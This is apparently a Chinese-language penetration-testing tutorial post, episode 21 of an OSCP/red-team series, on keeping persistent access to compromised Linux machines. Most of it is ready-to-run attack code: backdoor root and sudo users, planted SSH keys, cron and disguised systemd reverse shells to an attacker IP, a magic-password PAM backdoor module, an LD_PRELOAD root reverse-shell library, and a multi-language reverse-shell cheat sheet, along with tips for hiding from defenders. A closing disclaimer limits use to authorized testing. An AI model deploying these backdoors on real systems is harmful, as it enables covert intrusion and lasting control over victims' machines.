
大家好,这里是[泷羽sec-陌离]。
上期我们把后渗透信息收集讲透了——Shell 怎么拿、枚举怎么跑、凭据怎么挖(没看的宝子翻第20期)。这期聊一个更"脏"的话题:怎么让自己不掉线。
很多同学考完 OSCP 之后的真实感受是:考试用不上,实战全吃亏。说的就是权限维持。
考试里你只需要在 24 小时内打穿目标、写好报告,持久化基本用不上——考完靶机就关了。但真实的渗透测试和红队评估里,持久化是刚需:你今天拿下了一台机器,明天客户可能就改了密码、封了入口、清了你的 shell。没有持久化,你前脚走,后脚就被扫地出门。
这期(上)先讲 Linux 侧的持久化:从最基础的后门用户,到 SSH 密钥、cron、systemd,再到 PAM 后门、LD_PRELOAD 这些"高级货"。第22期(下)讲 Windows 侧 + 隐藏反取证。

❝说人话:考试基本不考持久化,但如果你想干红队、干实战项目,这期是保命技能。考完 OSCP 往 OSEP(红队认证)走的人,持久化是重头戏。
一句话本质:找一台机器上"每次开机/登录/定时都会自动执行"的机制,把你的代码塞进去。
Linux 上这样的"钩子"位置有很多,从用户层到内核层,隐蔽程度递增:
越往下越隐蔽,也越危险、越容易被杀软/安全人员盯上。

# ===== 方法一:添加 UID=0 的"伪 root"用户(老系统/实战常用)=====
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo"backdoor:Password@123" | chpasswd
# ===== 方法二:普通用户 + sudo 组(更低调)=====
useradd -m backdoor
echo"backdoor:Password@123" | chpasswd
usermod -aG sudo backdoor
# ===== 验证 =====
id backdoor # 方法一:uid=0(root) 直接是 root
sudo -l -U backdoor # 方法二:能 sudo 提权
⚠️ 两个坑:
-u 0 很显眼——cat /etc/passwd 一眼就能看到 uid=0 的异常用户。实战里更推荐方法二(普通用户进 sudo 组)。password 这种一跑 hashcat 就破。至少用 Password@2026 级别。# ===== 攻击机生成密钥对 =====
ssh-keygen -t ed25519 -f ~/.ssh/persist_key # 现代用 ed25519,不要 rsa 1024
# ===== 目标机植入公钥 =====
mkdir -p ~/.ssh
echo"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... 攻击机注释" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# ===== 修改 SSH 配置允许 root 登录(如果需要)=====
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
# 注意:新版本 sshd_config 可能是 "PermitRootLogin no",直接替换:
# sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
systemctl restart sshd
# ===== 攻击机连接 =====
ssh -i ~/.ssh/persist_key root@目标IP
💡 进阶技巧:把公钥写进多个用户的 authorized_keys(root、www-data、普通用户都放一份),即使一个账号被删了还有备份。
# ===== 直接往系统 crontab 写反向 Shell =====
echo"* * * * * root bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'" >> /etc/crontab
# ===== 更隐蔽:写脚本再调度(避免一长串命令被审计发现)=====
cat > /var/tmp/.backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
EOF
chmod +x /var/tmp/.backdoor.sh
echo"* * * * * root /var/tmp/.backdoor.sh" >> /etc/crontab
⚠️ Cron 是双刃剑:太常用了,所以蓝队也查得最狠。/etc/crontab 里突然多一行 * * * * * root bash -c ... 属于一眼假。实战建议:
/etc/cron.d/ 下单独文件,文件名伪装成 php-check 之类@reboot 触发器(只在开机时跑一次,不那么显眼)# ===== 创建服务文件 =====
cat > /etc/systemd/system/update-mgr.service << 'EOF'
[Unit]
Description=Update Manager
After=network.target
[Service]
Type=simple
ExecStart=/var/tmp/.update.sh
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
# ===== 创建执行脚本 =====
cat > /var/tmp/.update.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
EOF
chmod +x /var/tmp/.update.sh
# ===== 启用并启动 =====
systemctl enable update-mgr.service
systemctl start update-mgr.service
💡 伪装技巧:服务名 update-mgr、脚本路径 /var/tmp/.update.sh、Restart=always(断了自动重连)——三件套齐活,蓝队不细看很难发现。
# ===== 确保 rc.local 存在且可执行 =====
cat > /etc/rc.local << 'EOF'
#!/bin/bash
/var/tmp/.backdoor.sh &
exit 0
EOF
chmod +x /etc/rc.local
❝注意:Ubuntu 18.04+ 默认没有
/etc/rc.local,需要先systemctl enable rc-local才能用。老系统(CentOS 6/7)直接改就行。实战优先 systemd,别在 rc.local 上纠结。
原理一句话:PAM 是 Linux 所有认证的入口(SSH、su、sudo 都要过它)。往 PAM 配置里塞一个"万能密码"模块,任何用户用这个密码都能登录成功。
# ===== 1. 安装 PAM 开发库 =====
apt-get install -y libpam0g-dev # Debian/Ubuntu
# yum install -y pam-devel # RHEL/CentOS
# ===== 2. 写后门模块源码 =====
cat > /tmp/backdoor_pam.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_appl.h>
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
const char *password = NULL;
const char *user = NULL;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
/* 魔法密码:只要输入 MagicPass@2026 就放行 */
if (password && strcmp(password, "MagicPass@2026") == 0) {
return PAM_SUCCESS;
}
/* 不是魔法密码就走正常认证流程 */
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
return PAM_SUCCESS;
}
EOF
# ===== 3. 编译 =====
gcc -fPIC -shared -o /tmp/backdoor_pam.so /tmp/backdoor_pam.c
# ===== 4. 安装到 PAM 模块目录 =====
cp /tmp/backdoor_pam.so /lib/x86_64-linux-gnu/security/
# 老系统可能是 /lib/security/,先 ls 确认再放
# ===== 5. 注入 PAM 配置 =====
echo"auth sufficient /lib/x86_64-linux-gnu/security/backdoor_pam.so" >> /etc/pam.d/common-auth
# ===== 6. 验证:用魔法密码 SSH 登录 =====
ssh backdoor@目标IP # 密码输 MagicPass@2026,直接进
⚠️ 校准提醒(重要):
username == "backdoor" 就放行——这个逻辑有 bug(不校验密码,任何人用户名是 backdoor 就能进,太明显)。上面我改成了校验魔法密码,这才是实战里的正确姿势,参考了 2026 年 Flare.io 分析的 PamDOORa 商品化后门思路。/lib/x86_64-linux-gnu/security/,老系统 /lib/security/,先 ls 确认再放,放错位置 PAM 直接崩。auth sufficient 意思是"这个模块验证通过就直接放行,不用再查别的"——这就是万能钥匙的原理。原理一句话:LD_PRELOAD 环境变量让所有新启动的进程先加载你的 .so 库。库里的代码可以"钩子"系统函数,也可以直接反弹 Shell。
# ===== 1. 写恶意共享库 =====
cat > /tmp/backdoor.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
/* 在库加载时自动执行(构造函数) */
__attribute__((constructor))
void init_backdoor() {
/* 只有 root 进程触发反弹,避免暴露 */
if (geteuid() == 0) {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'");
}
}
EOF
# ===== 2. 编译 =====
gcc -fPIC -shared -o /tmp/backdoor.so /tmp/backdoor.c -nostartfiles
# ===== 3. 全局加载:写 /etc/ld.so.preload(比 export 更隐蔽)=====
echo"/tmp/backdoor.so" > /etc/ld.so.preload
# ===== 4. 验证:重启一个 root 进程,攻击机收到反弹 =====
# 任意 root 操作触发,例如:sudo -i / ssh root 登录
💡 为什么用 /etc/ld.so.preload 而不是 export LD_PRELOAD?
export 只对当前会话生效,重启就没了。/etc/ld.so.preload 是系统级全局生效,每个新进程启动都会先加载。这是 2026 年 QLNX 这类高级 Linux RAT 的标准做法。持久化脚本里 90% 是反弹 Shell,这里把主流语言的都给你备齐(都是标准写法,抄走即用):
# ===== 攻击机监听(先跑)=====
nc -lvnp 4444
# ===== Bash =====
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
# ===== Python =====
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# ===== Perl =====
perl -e 'use Socket;$i="攻击机IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# ===== PHP =====
php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# ===== Ruby =====
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# ===== Netcat(传统版)=====
nc -e /bin/sh 攻击机IP 4444
# ===== Netcat(无 -e 版,全平台通用)=====
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 4444 >/tmp/f
⚠️ 三个实战提醒:
nc -lvnp 4444 跑起来,再触发目标执行反弹命令。nc -e 新版 ncat 才支持,老版或 OpenBSD netcat 没有 -e,用 mkfifo 那行保底。# 升级 TTY(标准三步)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z 挂起,然后:
# stty raw -echo; fg
export TERM=xterm

拿到 root / 高权 Shell
│
├─[1] 后门用户(保底)→ useradd -m backdoor + sudo 组
│
├─[2] SSH 密钥(最稳)→ 写 authorized_keys + 允许 root 登录
│
├─[3] systemd 服务(开机自启)→ update-mgr.service + Restart=always
│
├─[4] cron @reboot(双保险)→ /etc/cron.d/ 伪装文件
│
└─[5] 红队进阶 → PAM 魔法密码 / LD_PRELOAD /etc/ld.so.preload
核心思路:多条持久化路径互相备份。 一条被清了,另一条还能进来。单点持久化 = 白做。
考试别玩持久化——OSCP 考试打完就交卷,持久化用不上还容易违规(改系统配置可能被判破坏环境)。这期内容是给实战/红队准备的,备考的同学知道有这些技术就行。
后门用户别用-u 0——/etc/passwd 里 uid=0 的非 root 用户是蓝队第一排查项。普通用户 + sudo 组低调得多,功能一样。
PAM 模块路径必须先确认——/lib/security/ 和 /lib/x86_64-linux-gnu/security/ 不一样,放错位置 PAM 直接崩,所有登录全挂。这是实战翻车率最高的坑。
LD_PRELOAD 别乱用——/etc/ld.so.preload 里的 .so 有问题,整个系统起不来。先在测试机验证,再上目标机。
cron 命令别裸奔——一长串 bash -i >& /dev/tcp/... 直接写进 crontab 太显眼。先写脚本文件再调度,文件名伪装成系统更新。
SSH 密钥用 ed25519——现代 ssh-keygen 默认 ed25519,别再用 1024 位 RSA(现在默认都不给生成了)。密钥注释别留真实身份。
反弹 Shell 记得升 TTY——拿到的是 $ 白板 shell,很多命令(sudo、vim、su)都不好使。先 python3 -c 'import pty...' 升级成交互式。
持久化要留“逃生口”——web shell、反弹脚本、密钥、用户,至少两条以上路径互相独立。别把所有鸡蛋放一个篮子,蓝队清一条你就凉一条。
[请务必读完]
本文所述所有渗透测试技术、工具和方法,仅供安全从业者在已获合法书面授权的环境中进行学习研究和能力认证备考使用。
未经目标所有者明确授权,对任何系统、网络、应用进行渗透测试、漏洞扫描或任何形式的攻击尝试,均可能构成违法犯罪行为。
请严格遵守《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》及相关法律法规。任何利用本文内容实施的非法行为,与本文作者无关。
本文涉及的认证信息仅基于公开可查资料整理,不代表 Offensive Security 官方立场。考试规则、工具限制等详情请以 OffSec 官网最新公告为准。
网络不是法外之地。技术是工具,守住法律底线比学会任何漏洞都重要。
第22期(下):Windows 持久化全套路——注册表自启动、计划任务、服务、WMI 事件订阅、DLL 劫持、映像劫持(粘滞键后门)、COM 劫持,外加隐藏后门与反取证技术!
关注不迷路 👇 评论区聊聊:你在实战中见过/用过哪种持久化手法?